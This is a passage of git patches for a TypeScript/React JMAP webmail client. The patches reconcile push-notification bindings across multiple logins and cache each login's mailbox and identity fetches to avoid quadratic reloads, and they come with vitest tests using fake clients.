bind every connected login, not just the active one: background accounts - // must drive the unified-section counters too. The active client keeps the + // must drive the unified-section counters too. The active client gets the // full handler (current list / scheduled / calendar / filters); background - // logins only re-project the unified counts by rebuilding the unified scope - // (which refreshes every account's cached mailbox list), since their changes - // never touch the active `mailboxes`. (#281 background push) + // logins only re-project the unified counts. (#281 background push) + // + // The bindings are reconciled, not rebuilt. This effect re-runs each time a + // login connects - once per account while a browser with many of them + // restores - and tearing every binding down to set them all up again made + // each run close and reopen the live streams and re-prime every slow poll: + // with ten logins, 21 stream openings and ~180 state-poll methods in the + // first seconds, quadratic in the number of accounts. Now a run binds only + // the clients that are new, unbinds only the ones that are gone, and on an + // account switch re-binds just the two whose role changed. + const pushBindingsRef = useRef(new Map()); + // Handlers are read at event time, so a binding never holds a stale closure + // and never has to be re-created because a callback changed identity. + const pushHandlersRef = useRef({ handleStateChange, buildPopulatedUnifiedAccounts, refreshCrossCounts, refreshUnifiedCounts }); + pushHandlersRef.current = { handleStateChange, buildPopulatedUnifiedAccounts, refreshCrossCounts, refreshUnifiedCounts }; + useEffect(() => { - if (!isAuthenticated || !client) return; - - const clients = useAuthStore.getState().getAllConnectedClients(); - const cleanups: Array<() => void> = []; - - // Active login first: the client caps live SSE streams per tab (#702) and - // hands out slots in setup order, so the account the user is looking at - // must claim one before the background logins do. - const ordered = [...clients.entries()].sort(([a], [b]) => - (a === activeAccountId ? 0 : 1) - (b === activeAccountId ? 0 : 1), - ); - - for (const [accId, c] of ordered) { - try { - if (accId === activeAccountId) { - c.onStateChange((change) => handleStateChange(change, c)); - } else { - c.onStateChange(() => { - buildPopulatedUnifiedAccounts() - .then((built) => { - refreshCrossCounts(built); - refreshUnifiedCounts(built); - }) - .catch(() => { /* per-account fetch failures surface elsewhere */ }); - }); + const bindings = pushBindingsRef.current; + if (!isAuthenticated || !client) { + releasePushBindings(bindings); + return; + } + reconcilePushBindings({ + bindings, + clients: useAuthStore.getState().getAllConnectedClients(), + activeAccountId, + listen: (c, role) => { + if (role === 'active') { + c.onStateChange((change: StateChange) => pushHandlersRef.current.handleStateChange(change, c)); + return; } - c.setupPushNotifications(); - cleanups.push(() => c.closePushNotifications()); - } catch (error) { - debug.log('push', '[Push] Failed to setup push notifications for account:', accId, error); - } - } - - if (cleanups.length > 0) { + c.onStateChange(() => { + const h = pushHandlersRef.current; + h.buildPopulatedUnifiedAccounts() + .then((built) => { + h.refreshCrossCounts(built); + h.refreshUnifiedCounts(built); + }) + .catch(() => { /* per-account fetch failures surface elsewhere */ }); + }); + }, + onError: (accId, error) => debug.log('push', '[Push] Failed to setup push notifications for account:', accId, error), + }); + if (bindings.size > 0) { setPushConnected(true); - debug.log('push', `[Push] Push notifications enabled for ${cleanups.length} account(s)`); + debug.log('push', `[Push] Push notifications enabled for ${bindings.size} account(s)`); } + }, [isAuthenticated, client, activeAccountId, connectedAccountsSignature, connectedAccountsRevision, setPushConnected]); - return () => { - cleanups.forEach((fn) => fn()); - }; - }, [isAuthenticated, client, activeAccountId, connectedAccountsSignature, connectedAccountsRevision, handleStateChange, setPushConnected, buildPopulatedUnifiedAccounts, refreshCrossCounts, refreshUnifiedCounts]); + // Unbind everything when the mail app goes away. + useEffect(() => { + const bindings = pushBindingsRef.current; + return () => releasePushBindings(bindings); + }, []); // Keep unified mailbox counts in sync when the feature is enabled and more // than one account is connected. Runs whenever the set of connected accounts diff --git a/lib/__tests__/push-bindings.test.ts b/lib/__tests__/push-bindings.test.ts new file mode 100644 index 000000000..5bb9f0300 --- /dev/null +++ b/lib/__tests__/push-bindings.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, it, vi } from 'vitest'; +import { reconcilePushBindings, releasePushBindings, type PushBinding, type PushRole } from '../push-bindings'; + +/** A client that counts what the reconciliation does to it. */ +class FakeClient { + setups = 0; + closes = 0; + sse = false; + roles: PushRole[] = []; + constructor(readonly name: string, private readonly slots: { free: number }) {} + setupPushNotifications() { + this.setups++; + if (this.slots.free > 0) { this.slots.free--; this.sse = true; } + } + closePushNotifications() { + this.closes++; + if (this.sse) { this.slots.free++; this.sse = false; } + } + hasSSEStream() { return this.sse; } +} + +function world(names: string[], freeSlots = 2) { + const slots = { free: freeSlots }; + const clients = new Map(names.map((n) => [n, new FakeClient(n, slots)] as const)); + const bindings = new Map(); + const run = (connected: string[], active: string | null) => reconcilePushBindings({ + bindings, + clients: new Map(connected.map((n) => [n, clients.get(n)!] as const)), + activeAccountId: active, + listen: (c, role) => { c.roles.push(role); }, + }); + return { clients, bindings, run, slots }; +} + +describe('reconcilePushBindings', () => { + it('binds each login once however many times the effect re-runs while logins connect', () => { + const { clients, run } = world(['a', 'b', 'c', 'd']); + // A restore: the effect runs once per login that connects. + run(['a'], 'a'); + run(['a', 'b'], 'a'); + run(['a', 'b', 'c'], 'a'); + run(['a', 'b', 'c', 'd'], 'a'); + run(['a', 'b', 'c', 'd'], 'a'); + for (const c of clients.values()) { + expect(c.setups, c.name).toBe(1); + expect(c.closes, c.name).toBe(0); + } + }); + + it('gives the active login a live stream before the background ones', () => { + const { clients, run } = world(['a', 'b', 'c'], 1); + run(['b', 'c', 'a'], 'a'); + expect(clients.get('a')!.hasSSEStream()).toBe(true); + expect(clients.get('b')!.hasSSEStream()).toBe(false); + }); + + it('unbinds only the login that went away', () => { + const { clients, bindings, run } = world(['a', 'b', 'c']); + run(['a', 'b', 'c'], 'a'); + run(['a', 'c'], 'a'); + expect(clients.get('b')!.closes).toBe(1); + expect(clients.get('a')!.closes).toBe(0); + expect(clients.get('c')!.closes).toBe(0); + expect([...bindings.values()].map((b) => b.accountId).sort()).toEqual(['a', 'c']); + }); + + it('on an account switch touches only the two logins whose role changed', () => { + const { clients, run } = world(['a', 'b', 'c', 'd'], 1); + run(['a', 'b', 'c', 'd'], 'a'); + const setupsBefore = [...clients.values()].map((c) => c.setups); + run(['a', 'b', 'c', 'd'], 'c'); + // c had no stream: it takes a's, and a is re-bound as background. + expect(clients.get('c')!.hasSSEStream()).toBe(true); + expect(clients.get('c')!.roles.at(-1)).toBe('active'); + expect(clients.get('a')!.roles.at(-1)).toBe('background'); + expect(clients.get('b')!.setups).toBe(setupsBefore[1]); + expect(clients.get('d')!.setups).toBe(setupsBefore[3]); + }); + + it('only swaps the callback when the newly active login already has a stream', () => { + const { clients, run } = world(['a', 'b'], 2); + run(['a', 'b'], 'a'); + run(['a', 'b'], 'b'); + expect(clients.get('b')!.setups).toBe(1); + expect(clients.get('b')!.roles).toEqual(['background', 'active']); + expect(clients.get('a')!.roles).toEqual(['active', 'background']); + }); + + it('rebinds a login whose client was replaced', () => { + const { bindings, run, clients } = world(['a']); + run(['a'], 'a'); + const old = clients.get('a')!; + const fresh = new FakeClient('a', { free: 2 }); + reconcilePushBindings({ + bindings, clients: new Map([['a', fresh]]), activeAccountId: 'a', listen: vi.fn(), + }); + expect(old.closes).toBe(1); + expect(fresh.setups).toBe(1); + }); + + it('releases everything on logout', () => { + const { clients, bindings, run } = world(['a', 'b']); + run(['a', 'b'], 'a'); + releasePushBindings(bindings); + expect(bindings.size).toBe(0); + for (const c of clients.values()) expect(c.closes).toBe(1); + }); +}); diff --git a/lib/push-bindings.ts b/lib/push-bindings.ts new file mode 100644 index 000000000..f02a53cfa --- /dev/null +++ b/lib/push-bindings.ts @@ -0,0 +1,109 @@ +/** + * Reconciles live push bindings with the set of connected logins. + * + * Every connected login keeps one binding - its state-change callback plus its + * live stream or slow poll - for as long as it stays connected. The effect + * that drives this re-runs each time a login connects, which while a browser + * with many logins restores means once per account; rebuilding every binding + * on each run closed and reopened the streams and re-primed every poll, so the + * cost grew with the square of the number of accounts. Reconciling touches only + * what changed: new clients are bound, departed ones unbound, and an account + * switch re-binds just the two logins whose role flipped. + */ + +export type PushRole = 'active' | 'background'; + +/** The slice of a JMAP client a binding needs. */ +export interface PushBindable { + setupPushNotifications(): unknown; + closePushNotifications(): void; + hasSSEStream(): boolean; +} + +export interface PushBinding { + accountId: string; + role: PushRole; +} + +export interface ReconcileOptions { + /** Current bindings, updated in place. */ + bindings: Map; + /** Connected logins: account id → client. */ + clients: Map; + activeAccountId: string | null; + /** + * Installs the state-change callback for a role. Must be callable again on + * an already-bound client: it replaces the previous callback. + */ + listen: (client: C, role: PushRole) => void; + onError?: (accountId: string, error: unknown) => void; +} + +export function reconcilePushBindings({ + bindings, clients, activeAccountId, listen, onError, +}: ReconcileOptions): void { + const wanted = new Map(); + for (const [accountId, client] of clients) wanted.set(client, accountId); + + const unbind = (client: C) => { + try { client.closePushNotifications(); } catch { /* already closed */ } + bindings.delete(client); + }; + const bind = (client: C, accountId: string, role: PushRole) => { + try { + listen(client, role); + client.setupPushNotifications(); + bindings.set(client, { accountId, role }); + } catch (error) { + onError?.(accountId, error); + } + }; + + // Gone: signed out, or replaced by a fresh client for the same login. + for (const [client, binding] of [...bindings]) { + if (wanted.get(client) !== binding.accountId) unbind(client); + } + + // The active login first: live streams are capped per tab (#702) and handed + // out in setup order, so the account on screen must claim one before the + // background logins do. + const ordered = [...clients.entries()].sort(([a], [b]) => + (a === activeAccountId ? 0 : 1) - (b === activeAccountId ? 0 : 1), + ); + const demoted: Array<[C, string]> = []; + for (const [accountId, client] of ordered) { + const role: PushRole = accountId === activeAccountId ? 'active' : 'background'; + const bound = bindings.get(client); + if (!bound) { + bind(client, accountId, role); + } else if (bound.role !== role) { + if (role === 'active' && !client.hasSSEStream()) { + // Newly active on a slow poll: take the stream from the login that + // just stopped being active - re-bound as background below - so the + // account the user is looking at still updates live. + for (const [other, b] of [...bindings]) { + if (b.role === 'active' && other !== client) { + unbind(other); + demoted.push([other, b.accountId]); + } + } + unbind(client); + bind(client, accountId, role); + } else { + listen(client, role); + bound.role = role; + } + } + } + for (const [client, accountId] of demoted) { + if (wanted.get(client) === accountId && !bindings.has(client)) bind(client, accountId, 'background'); + } +} + +/** Unbinds everything, e.g. on logout or when the mail app unmounts. */ +export function releasePushBindings(bindings: Map): void { + for (const client of bindings.keys()) { + try { client.closePushNotifications(); } catch { /* already closed */ } + } + bindings.clear(); +} From a578150c2d6ce15e93922074439560d48c6eb81f Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 11:59:55 +0200 Subject: [PATCH 147/358] perf(unified): fetch each login's folders once, all logins at once The unified scope is rebuilt on every connection while a browser restores its logins, on every background push, and on every unified browse, load-more and search - and each build asked every login for its folders again, one login after the other. With ten logins that was ten full Mailbox/get per build and well over a hundred in the first seconds, and the slowest build waited on the sum of every login's round trip. Fetch the logins in parallel, and fetch each login's list once: a build shares a fetch that is already in flight and reuses a finished one until that login reports a change - the push handlers invalidate the login they hear from, so a background push now costs one Mailbox/get instead of one per login. A 60 s limit backstops a change whose push was lost. A reused list is never written back into `accountMailboxes`: optimistic updates land there directly, and publishing an older list over them would snap a just-changed counter back. --- components/mail/mail-app.tsx | 11 +- .../email-store-unified-mailbox-cache.test.ts | 120 ++++++++++++++++++ stores/email-store.ts | 85 +++++++++++-- 3 files changed, 205 insertions(+), 11 deletions(-) create mode 100644 stores/__tests__/email-store-unified-mailbox-cache.test.ts diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 03f44784c..7f3950a2a 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -31,7 +31,7 @@ import { usePolicyStore } from "@/stores/policy-store"; import type { UnifiedAccountClient } from "@/lib/unified-mailbox"; import { connectedAccountsGrew } from "@/lib/unified-mailbox"; import { KeyboardShortcutsModal } from "@/components/keyboard-shortcuts-modal"; -import { useEmailStore, buildUnifiedAccountClients, captureViewToken, ArchiveMailboxNotFoundError, findArchiveMailbox, resolveUnstampedEmailAccountId, emptyFolderMovesToTrash } from "@/stores/email-store"; +import { useEmailStore, buildUnifiedAccountClients, invalidateUnifiedMailboxes, captureViewToken, ArchiveMailboxNotFoundError, findArchiveMailbox, resolveUnstampedEmailAccountId, emptyFolderMovesToTrash } from "@/stores/email-store"; import { groupSearchScopeFolders, SEARCH_SCOPE_ALL_FOLDERS } from "@/lib/search-scope-folders"; import { toast } from "@/stores/toast-store"; import { formatRejectedRecipients, type JMAPClient } from "@/lib/jmap/client"; @@ -1291,11 +1291,18 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { clients: useAuthStore.getState().getAllConnectedClients(), activeAccountId, listen: (c, role) => { + // A login that reports a change has a folder list worth fetching again; + // the others keep theirs, which is what spares the unified scope a full + // round of Mailbox/get on every push. if (role === 'active') { - c.onStateChange((change: StateChange) => pushHandlersRef.current.handleStateChange(change, c)); + c.onStateChange((change: StateChange) => { + invalidateUnifiedMailboxes(c); + pushHandlersRef.current.handleStateChange(change, c); + }); return; } c.onStateChange(() => { + invalidateUnifiedMailboxes(c); const h = pushHandlersRef.current; h.buildPopulatedUnifiedAccounts() .then((built) => { diff --git a/stores/__tests__/email-store-unified-mailbox-cache.test.ts b/stores/__tests__/email-store-unified-mailbox-cache.test.ts new file mode 100644 index 000000000..6735757ed --- /dev/null +++ b/stores/__tests__/email-store-unified-mailbox-cache.test.ts @@ -0,0 +1,120 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { buildUnifiedAccountClients, invalidateUnifiedMailboxes, useEmailStore } from '../email-store'; +import { useAccountStore } from '../account-store'; +import { useAuthStore } from '../auth-store'; +import type { IJMAPClient } from '@/lib/jmap/client-interface'; +import type { Mailbox } from '@/lib/jmap/types'; + +/** + * The unified scope is rebuilt on every connection while a browser restores + * its logins, on every background push and on every unified browse, load-more + * and search. Each build used to ask every login for its folders again, one + * login after the other. These tests pin the replacement: one fetch per login, + * shared and reused until that login reports a change, all logins at once. + */ +const inbox = (id: string, unread: number): Mailbox => + ({ id, name: 'Inbox', role: 'inbox', unreadEmails: unread, totalEmails: unread, parentId: null }) as unknown as Mailbox; + +function fakeClient(name: string, unread = 1) { + let release: (() => void) | null = null; + const client = { + name, + gate: null as Promise | null, + getMailboxes: vi.fn(async () => { + if (client.gate) await client.gate; + return [inbox(`${name}-inbox`, unread)]; + }), + getAllMailboxes: vi.fn(async () => [inbox(`${name}-inbox`, unread)]), + getAccountId: () => `jmap-${name}`, + hold() { client.gate = new Promise((r) => { release = r; }); }, + release() { release?.(); client.gate = null; }, + }; + return client; +} + +function connect(clients: Record>) { + useAccountStore.setState({ + accounts: Object.keys(clients).map((id) => ({ + id, label: id, email: id, username: id, serverUrl: 'https://mail.example.org', displayName: id, + cookieSlot: 0, avatarColor: '#123456', rememberMe: true, isConnected: true, hasError: false, + isDefault: false, lastLoginAt: 0, authMode: 'basic', + })) as never, + }); + const map = new Map(Object.entries(clients).map(([id, c]) => [id, c as unknown as IJMAPClient])); + useAuthStore.setState({ getAllConnectedClients: () => map } as never); +} + +describe('unified scope folder lists', () => { + beforeEach(() => { + invalidateUnifiedMailboxes(); + useEmailStore.setState({ accountMailboxes: {} }); + }); + + it('fetches each login once across repeated builds', async () => { + const a = fakeClient('a'); + const b = fakeClient('b'); + connect({ a, b }); + await buildUnifiedAccountClients(); + await buildUnifiedAccountClients(); + await buildUnifiedAccountClients(); + expect(a.getMailboxes).toHaveBeenCalledTimes(1); + expect(b.getMailboxes).toHaveBeenCalledTimes(1); + }); + + it('shares a fetch in flight between concurrent builds', async () => { + const a = fakeClient('a'); + a.hold(); + connect({ a }); + const both = Promise.all([buildUnifiedAccountClients(), buildUnifiedAccountClients()]); + a.release(); + const [first, second] = await both; + expect(a.getMailboxes).toHaveBeenCalledTimes(1); + expect(first).toHaveLength(1); + expect(second).toHaveLength(1); + }); + + it('asks every login at once, not one after the other', async () => { + const a = fakeClient('a'); + const b = fakeClient('b'); + a.hold(); + connect({ a, b }); + const build = buildUnifiedAccountClients(); + await Promise.resolve(); + await Promise.resolve(); + // b was asked while a is still pending. + expect(b.getMailboxes).toHaveBeenCalledTimes(1); + a.release(); + expect((await build).map((x) => x.accountId)).toEqual(['a', 'b']); + }); + + it('fetches again only the login that reported a change', async () => { + const a = fakeClient('a'); + const b = fakeClient('b'); + connect({ a, b }); + await buildUnifiedAccountClients(); + invalidateUnifiedMailboxes(b); + await buildUnifiedAccountClients(); + expect(a.getMailboxes).toHaveBeenCalledTimes(1); + expect(b.getMailboxes).toHaveBeenCalledTimes(2); + }); + + it('does not overwrite a live folder list with a reused one', async () => { + const a = fakeClient('a', 5); + connect({ a }); + await buildUnifiedAccountClients(); + // An optimistic mark-as-read lowers the live counter... + useEmailStore.setState({ accountMailboxes: { a: [inbox('a-inbox', 4)] } }); + // ...and a later build from the cache must not bring the old 5 back. + await buildUnifiedAccountClients(); + expect(useEmailStore.getState().accountMailboxes.a[0].unreadEmails).toBe(4); + }); + + it('retries a login whose fetch failed', async () => { + const a = fakeClient('a'); + a.getMailboxes.mockRejectedValueOnce(new Error('offline')); + connect({ a }); + expect(await buildUnifiedAccountClients()).toHaveLength(0); + expect(await buildUnifiedAccountClients()).toHaveLength(1); + expect(a.getMailboxes).toHaveBeenCalledTimes(2); + }); +}); diff --git a/stores/email-store.ts b/stores/email-store.ts index 9541cbebd..5cf3f00fe 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -1006,6 +1006,64 @@ function resolveDestLocalAccountId(mailbox: Mailbox): string | null { * Starred cross views to the chosen own folders (shared entries are left * unrestricted so all their folders are included). */ +/** + * Folder lists of the logins in the unified scope, shared between builds. + * + * The scope is rebuilt on every connection while a browser restores its + * logins, on every background push and on every unified browse, load-more and + * search - and each build used to ask every login for its folders again, one + * login after the other. With ten logins that was ten full `Mailbox/get`s per + * build and over a hundred in the first seconds. A list is now fetched once, + * shared by every build that wants it while in flight, and reused until that + * login reports a change (see {@link invalidateUnifiedMailboxes}, called from + * the push handlers). The time limit is a backstop for a change whose push was + * lost, not the freshness mechanism. + */ +const UNIFIED_MAILBOX_TTL_MS = 60_000; +let unifiedMailboxGeneration = 0; +const unifiedMailboxCache = new WeakMap }>>(); + +/** + * `fresh` is true only for the build that started the fetch. Only that build + * publishes the list into `accountMailboxes`: a reused one may be older than + * what the store holds now - optimistic updates land there directly - and + * writing it back would snap a just-changed counter back to its old value. + */ +async function unifiedMailboxesFor( + client: IJMAPClient, + includeGroup: boolean, +): Promise<{ mailboxes: Mailbox[]; fresh: boolean }> { + let perClient = unifiedMailboxCache.get(client); + if (!perClient) { + perClient = new Map(); + unifiedMailboxCache.set(client, perClient); + } + const hit = perClient.get(includeGroup); + if (hit && hit.generation === unifiedMailboxGeneration && Date.now() - hit.at < UNIFIED_MAILBOX_TTL_MS) { + return { mailboxes: await hit.promise, fresh: false }; + } + const entry = { + at: Date.now(), + generation: unifiedMailboxGeneration, + promise: includeGroup ? client.getAllMailboxes() : client.getMailboxes(), + }; + perClient.set(includeGroup, entry); + const slot = perClient; + entry.promise.catch(() => { + if (slot.get(includeGroup) === entry) slot.delete(includeGroup); + }); + return { mailboxes: await entry.promise, fresh: true }; +} + +/** + * Forgets the folder lists cached for the unified scope: one login's, when it + * reports a change, or every login's when called without an argument. + */ +export function invalidateUnifiedMailboxes(client?: object): void { + if (client) unifiedMailboxCache.delete(client); + else unifiedMailboxGeneration++; +} + export async function buildUnifiedAccountClients( opts: { includeGroup?: boolean; scopeToClientAccountId?: string } = {}, ): Promise { @@ -1019,24 +1077,33 @@ export async function buildUnifiedAccountClients( // after the fan-out so single-email actions can resolve role-based // destinations (trash/archive) in the email's own account (issue #281). const fetchedMailboxes: Record = {}; - for (const a of authAccounts) { + // Every login at once rather than one after the other: the slowest login, + // not the sum of all of them, bounds how long the scope takes. + const fetched = await Promise.allSettled(authAccounts.map(async (a) => { const c = allClients.get(a.id); - if (!c) continue; + if (!c) return null; + return { a, c, ...(await unifiedMailboxesFor(c, includeGroup)) }; + })); + for (const result of fetched) { + // Skip the account on mailbox fetch failure. + if (result.status !== 'fulfilled' || !result.value) continue; + const { a, c, mailboxes, fresh } = result.value; try { - const mailboxes = includeGroup ? await c.getAllMailboxes() : await c.getMailboxes(); const ownMailboxes = includeGroup ? mailboxes.filter((m) => !m.isShared) - : mailboxes; + : mailboxes.slice(); // Primary JMAP account id of this login. Stamped onto personal emails as // `sourceAccountId`; equals the client's primary so passing it to JMAP is a // no-op (no namespacing) — keeps personal behavior identical while making // resolution branch-free against shared sources. const primaryJmapId = c.getAccountId(); built.push({ accountId: a.id, accountLabel: a.label || a.email, client: c, mailboxes: ownMailboxes, clientAccountId: a.id, jmapAccountId: primaryJmapId, isShared: false, crossIncludedMailboxIds: resolveCrossIncludedMailboxIds(a.id, ownMailboxes) }); - fetchedMailboxes[a.id] = ownMailboxes; - // Also cache under the JMAP id so `accountMailboxes[email.sourceAccountId]` - // resolves uniformly for personal and shared sources alike. - fetchedMailboxes[primaryJmapId] = ownMailboxes; + if (fresh) { + fetchedMailboxes[a.id] = ownMailboxes; + // Also cache under the JMAP id so `accountMailboxes[email.sourceAccountId]` + // resolves uniformly for personal and shared sources alike. + fetchedMailboxes[primaryJmapId] = ownMailboxes; + } if (includeGroup) { const sharedByOwner = new Map(); @@ -1060,7 +1127,7 @@ export async function buildUnifiedAccountClients( // Cache the owner's mailbox list keyed by its JMAP id so single-email // and batch actions can resolve role-based destinations (trash/archive) // in the owner account instead of falling back to the active account. - fetchedMailboxes[ownerId] = ownerMailboxes; + if (fresh) fetchedMailboxes[ownerId] = ownerMailboxes; } } } catch { From 612dcc81ee8778a688d767ba84bf73c840b5e586 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 12:32:13 +0200 Subject: [PATCH 148/358] perf: stop reloading every login's folders and identities on each connection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two effects keyed on the account list reloaded every connected login each time the list changed - and while a browser restores its logins it changes once per connection, so the cost was 1 + 2 + … + N: - useProMultiAccountMailboxes, which the Pro shell runs for its per-account folder tree, reloaded every login's folders: 55 Mailbox/get with ten logins. It now loads each login once per client, through the same cache as the unified scope, and reloads all of them once on an account switch. - useProMultiAccountIdentities reread every other login's identities: 45 Identity/get. Each mount now reads each account once; what is already known shows at once, and a read that outlives the run that started it still reaches the dropdown. Both are keyed on the set of connected logins instead of `accounts`, which also changes for display-name and login-time updates. --- ...o-multi-account-identities-linear.test.tsx | 70 ++++++++++++++++ .../use-pro-multi-account-mailboxes.test.tsx | 80 +++++++++++++++++++ hooks/use-pro-multi-account-identities.ts | 79 ++++++++++++------ hooks/use-pro-multi-account-mailboxes.ts | 50 ++++++++---- stores/email-store.ts | 17 ++++ 5 files changed, 255 insertions(+), 41 deletions(-) create mode 100644 hooks/__tests__/use-pro-multi-account-identities-linear.test.tsx create mode 100644 hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx diff --git a/hooks/__tests__/use-pro-multi-account-identities-linear.test.tsx b/hooks/__tests__/use-pro-multi-account-identities-linear.test.tsx new file mode 100644 index 000000000..47c0036b7 --- /dev/null +++ b/hooks/__tests__/use-pro-multi-account-identities-linear.test.tsx @@ -0,0 +1,70 @@ +import { render, cleanup, waitFor } from '@testing-library/react'; +import { describe, it, expect, afterEach, vi } from 'vitest'; + +// While a browser restores its logins they connect one after another; the +// identities of every other account used to be read again on each +// connection - 1 + 2 + … + N reads. Each account must be read once per mount. + +const env = vi.hoisted(() => ({ + accounts: [] as { id: string; email: string; username: string; isConnected: boolean }[], + reads: {} as Record, +})); + +vi.mock('@/stores/account-store', () => ({ + useAccountStore: (sel: (s: { accounts: typeof env.accounts }) => unknown) => sel({ accounts: env.accounts }), +})); + +vi.mock('@/stores/auth-store', () => { + const clients = new Map Promise }>(); + const state = { + activeAccountId: 'a', + getClientForAccount: (id: string) => { + if (!clients.has(id)) { + clients.set(id, { + getIdentities: async () => { + env.reads[id] = (env.reads[id] ?? 0) + 1; + return [{ id: `id-${id}`, email: `${id}@example.org`, name: id }]; + }, + }); + } + return clients.get(id); + }, + }; + const hook = (sel: (s: typeof state) => unknown) => sel(state); + hook.getState = () => state; + return { useAuthStore: hook }; +}); + +vi.mock('@/stores/identity-store', () => { + const state = { identities: [{ id: 'id-a', email: 'a@example.org', name: 'a' }] }; + return { useIdentityStore: (sel: (s: typeof state) => unknown) => sel(state) }; +}); + +import { useProMultiAccountIdentities } from '../use-pro-multi-account-identities'; + +type Result = ReturnType; +function Harness({ sink }: { sink: Result[] }) { + sink.push(useProMultiAccountIdentities()); + return null; +} +const account = (id: string) => ({ id, email: `${id}@example.org`, username: `${id}@example.org`, isConnected: true }); + +afterEach(() => { + cleanup(); + env.reads = {}; +}); + +describe('useProMultiAccountIdentities while logins connect', () => { + it('reads each other account once, however many connections follow', async () => { + const sink: Result[] = []; + const ids = ['a', 'b', 'c', 'd', 'e', 'f']; + env.accounts = ids.slice(0, 2).map(account); + const { rerender } = render(); + for (let n = 3; n <= ids.length; n++) { + env.accounts = ids.slice(0, n).map(account); + rerender(); + } + await waitFor(() => expect(sink.at(-1)?.groups).toHaveLength(6)); + expect(env.reads).toEqual({ b: 1, c: 1, d: 1, e: 1, f: 1 }); + }); +}); diff --git a/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx b/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx new file mode 100644 index 000000000..9201eb17e --- /dev/null +++ b/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx @@ -0,0 +1,80 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { act, renderHook, waitFor } from '@testing-library/react'; + +vi.mock('@/hooks/use-is-embedded', () => ({ useIsEmbedded: () => false })); + +import { useProMultiAccountMailboxes } from '@/hooks/use-pro-multi-account-mailboxes'; +import { useAccountStore } from '@/stores/account-store'; +import { useAuthStore } from '@/stores/auth-store'; +import { invalidateUnifiedMailboxes, useEmailStore } from '@/stores/email-store'; +import { useSettingsStore } from '@/stores/settings-store'; + +/** + * The Pro shell needs every login's folders for its per-account tree. While + * a browser restores its logins they connect one after another, and reloading + * every connected account on each connection cost 1 + 2 + … + N folder lists. + * Each login must now be loaded once. + */ +const clients = new Map }>(); +const client = (id: string) => { + if (!clients.has(id)) clients.set(id, { getMailboxes: vi.fn(async () => [{ id: `${id}-inbox`, role: 'inbox' }]) }); + return clients.get(id)!; +}; + +function connected(ids: string[], active = ids[0]) { + useAccountStore.setState({ + activeAccountId: active, + accounts: ids.map((id) => ({ + id, label: id, email: id, username: id, serverUrl: 'https://mail.example.org', displayName: id, + cookieSlot: 0, avatarColor: '#123456', rememberMe: true, isConnected: true, hasError: false, + isDefault: false, lastLoginAt: Date.now(), authMode: 'basic', + })) as never, + }); +} + +describe('useProMultiAccountMailboxes', () => { + beforeEach(() => { + clients.clear(); + invalidateUnifiedMailboxes(); + useEmailStore.setState({ accountMailboxes: {} }); + useSettingsStore.setState({ proInterface: true } as never); + useAuthStore.setState({ getClientForAccount: (id: string) => client(id) } as never); + }); + + it('loads each login once while logins connect one after another', async () => { + connected(['a']); + renderHook(() => useProMultiAccountMailboxes()); + for (const n of [2, 3, 4, 5, 6]) { + act(() => connected(['a', 'b', 'c', 'd', 'e', 'f'].slice(0, n), 'a')); + } + await waitFor(() => expect(Object.keys(useEmailStore.getState().accountMailboxes)).toHaveLength(6)); + for (const [id, c] of clients) expect(c.getMailboxes, id).toHaveBeenCalledTimes(1); + }); + + it('does not refetch for changes that are not a connection', async () => { + connected(['a', 'b']); + renderHook(() => useProMultiAccountMailboxes()); + await waitFor(() => expect(client('b').getMailboxes).toHaveBeenCalledTimes(1)); + // A display-name or login-time update rewrites `accounts` but connects no one. + act(() => connected(['a', 'b'])); + act(() => connected(['a', 'b'])); + expect(client('a').getMailboxes).toHaveBeenCalledTimes(1); + expect(client('b').getMailboxes).toHaveBeenCalledTimes(1); + }); + + it('reloads every login once when the user switches account', async () => { + connected(['a', 'b'], 'a'); + renderHook(() => useProMultiAccountMailboxes()); + await waitFor(() => expect(client('b').getMailboxes).toHaveBeenCalledTimes(1)); + act(() => connected(['a', 'b'], 'b')); + await waitFor(() => expect(client('a').getMailboxes).toHaveBeenCalledTimes(2)); + expect(client('b').getMailboxes).toHaveBeenCalledTimes(2); + }); + + it('stays idle outside the Pro shell', () => { + useSettingsStore.setState({ proInterface: false } as never); + connected(['a', 'b']); + renderHook(() => useProMultiAccountMailboxes()); + expect(client('a').getMailboxes).not.toHaveBeenCalled(); + }); +}); diff --git a/hooks/use-pro-multi-account-identities.ts b/hooks/use-pro-multi-account-identities.ts index f177dda5b..00d0e5163 100644 --- a/hooks/use-pro-multi-account-identities.ts +++ b/hooks/use-pro-multi-account-identities.ts @@ -1,6 +1,6 @@ "use client"; -import { useEffect, useMemo, useState } from "react"; +import { useEffect, useMemo, useRef, useState } from "react"; import { useAccountStore } from "@/stores/account-store"; import { useAuthStore } from "@/stores/auth-store"; import { useIdentityStore } from "@/stores/identity-store"; @@ -80,39 +80,66 @@ export function useProMultiAccountIdentities(): { // Cache identities fetched per non-active account. Active account's // identities come live from useIdentityStore so signature/alias edits // there are reflected immediately without an extra round-trip. + // + // Each mount fetches each account once. Keyed on the set of connected + // logins, not on `accounts`: while a browser restores its logins they + // connect one after another, and refetching every account on each + // connection cost 1 + 2 + … + N identity reads - 45 with ten logins. + const connectedSignature = useAccountStore((s) => + s.accounts.filter((a) => a.isConnected).map((a) => a.id).sort().join("\n"), + ); + const fetchedThisMount = useRef(new Map()); + // Read at run time: the effect is keyed on the connected set, not on every + // rewrite of `accounts`. + const accountsRef = useRef(accounts); + accountsRef.current = accounts; + // A read outlives the run that started it - the effect re-runs on every + // connection - so its result is dropped only once the hook is gone. + const mounted = useRef(true); + useEffect(() => { + mounted.current = true; + return () => { mounted.current = false; }; + }, []); useEffect(() => { if (!enabled) { setRemoteIdentities({}); return; } + const current = 